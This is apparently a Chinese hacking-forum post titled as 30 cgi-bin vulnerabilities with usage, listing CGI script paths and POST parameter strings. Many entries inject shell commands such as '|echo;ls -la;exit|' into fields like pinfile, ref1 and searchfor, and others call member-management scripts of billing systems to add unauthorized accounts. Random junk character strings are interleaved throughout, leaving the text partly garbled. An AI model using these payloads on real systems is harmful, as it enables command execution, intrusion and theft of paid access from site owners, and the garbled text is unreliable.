Cgi-bin 30个漏洞＋使用方法

admin

==============================

/smspass.pl
username=username&password=password
8 |$ W$ @& e+ C9 |$ s" u( a
/ ~# p( O/ h, x2 G, v9 ]: r7 l6 m/index.cgi
wei=ren&gen=command
0 e, f+ e8 ^5 Z7 U3 {( |
/passmaster.cgi
3 y4 @' p3 i8 HAction=Add&Username=Username&Password=Password
4 ]) y6 B) [$ M& N
/accountcreate.cgi
2 z( ^7 V+ ?& F& \  U* [username=username&password=password&ref1=|echo;ls|
1 S; N" t: y. J- v# e
! o* @% K5 A$ L# O9 e/form.cgi
name=xxxx&email=email&subject=xxxx&response=|echo;ls|

/addusr.pl
0 a$ N) x. i# _7 D4 K9 H  ?" }/cgi-bin/EuroDebit/addusr.pl
user=username&pass=Password&confirm=Password

" R  b+ k3 J4 ]: m7 S7 v& D: n/ccbill-local.asp
post_values=username:password
$ b) G& Q4 W  @% A& ?
! X4 h: [4 R) D4 S( |; c/count.cgi
pinfile=|echo;ls -la;exit|
" ]& I' d& }, _, _$ X% d
& M8 ?& v" M1 p6 ]. Y+ M/recon.cgi
7 @: B2 `; C7 w, ?  C/ `0 t/recon.cgi?search
searchoption=1&searchfor=|echo;ls -al;exit|
. w3 }4 s" y, K
6 u+ s- `4 m9 S5 z7 ^1 Z# g+ P" J/verotelrum.pl
7 I5 j: Z! }; C" `vercode=username:password:dseegsow:add:amount<&30>
2 Q" H8 B2 l3 D2 ?; T
/af.cgi
_browser_out=|echo;ls -la;exit;|

/modify.cgi
username=username&password=password&expire=30

/openjournal.cgi
edit=1&ct=2&go=|echo;ls -al;exit|
0 J' v: [2 @$ P- Q
; A% ^4 s/ Y4 E, w5 a3 z8 O/gx9passwd.cgi
$ h; W  w0 _& x" N9 k7 s. Q- pcmd=ADD&user=username&pass=password

& s) v9 D7 a, n$ v2 E% Y/probecontrol.cgi
command=enable&username=username&password=password

/recon.cgi
searchoption=3&searchfor=echo;ls -la;exit
% {7 e. n$ ~. u
/htadd.pl
  {1 W* q/ d% dconfigfile=|echo; ls -alt; exit
- a/ x7 p1 R  {4 O* e" c$ G
/gx9passwd.cgi
cmd=ADD&user=username&pass=password
: _5 t$ {8 |) e3 n0 [0 y% K
2 r, N! @. |3 v  P+ m( ]* y/ibill*.pl
reqtype=add&authpwd=authpwd&username=username&password=password
# e9 t; ^. U+ p4 T1 c
( j9 [3 S. ^0 S/ N7 p& }/cpay.cgi
3 h% f' ^4 J+ Q) M. \command=add_member&username=username(EMAIL)&password=password(DES)

/globill_ut.cgi
do=add&username=username&password=password&wpassword=password

/usercontrol.cgi
command=enable&username=USER&password=PASS

/globoSALErum.cgi
3 L3 L' k4 n0 A; haction=ADD&seccode=seccode&login=username&password=password

/addusr.pl
" Q% R3 }* y8 `/ Q/ tuser=USER&pass=PASS&confirm=PASS
% O* M4 ~' u8 `* @) e
; c: S  k2 D6 z/pincount.cgi
" d- W! i7 v8 h! q& {0 ~, M1 @4 v/cgi-bin/mastergate/pincount.cgi
3 q$ C2 j, x. n  @6 f: f3 Ipinfile=|echo;pwd;exit|

: ~$ Q, u; R4 J" F  p- @  ]/accountcreate.cgi
1 o* Q$ Z  }( W/cgi-bin/gateway/accountcreate.cgi
username=username&password=password&password2=password&ref1=|echo;ls -al;exit
: d; \) L% M$ b* P. }
4 T8 c" `% V9 d# n9 b6 i% ?* j8 d/af.cgi
/env.cgi
+ X. _" X' `+ z" R5 D# d2 ^ADD+;echo;pwd;exit
( p" }! E3 ^. M
- s- d6 |# _# O/count.cgi
  ?. z- }8 K6 d$ T4 Y1 Kpinfile=|echo;pwd;exit|

, e/ m' G- ~+ q3 c4 y/recon.cgi
3 I: n7 h( X( h( m: z3 P/ N% `searchoption=1&searchfor=|echo;ls%20-al;exit|
9 j& P5 M' y! r+ e6 R, W) ~) v" g, k
/add.cgi
username=username&password=password&expire=30

==============================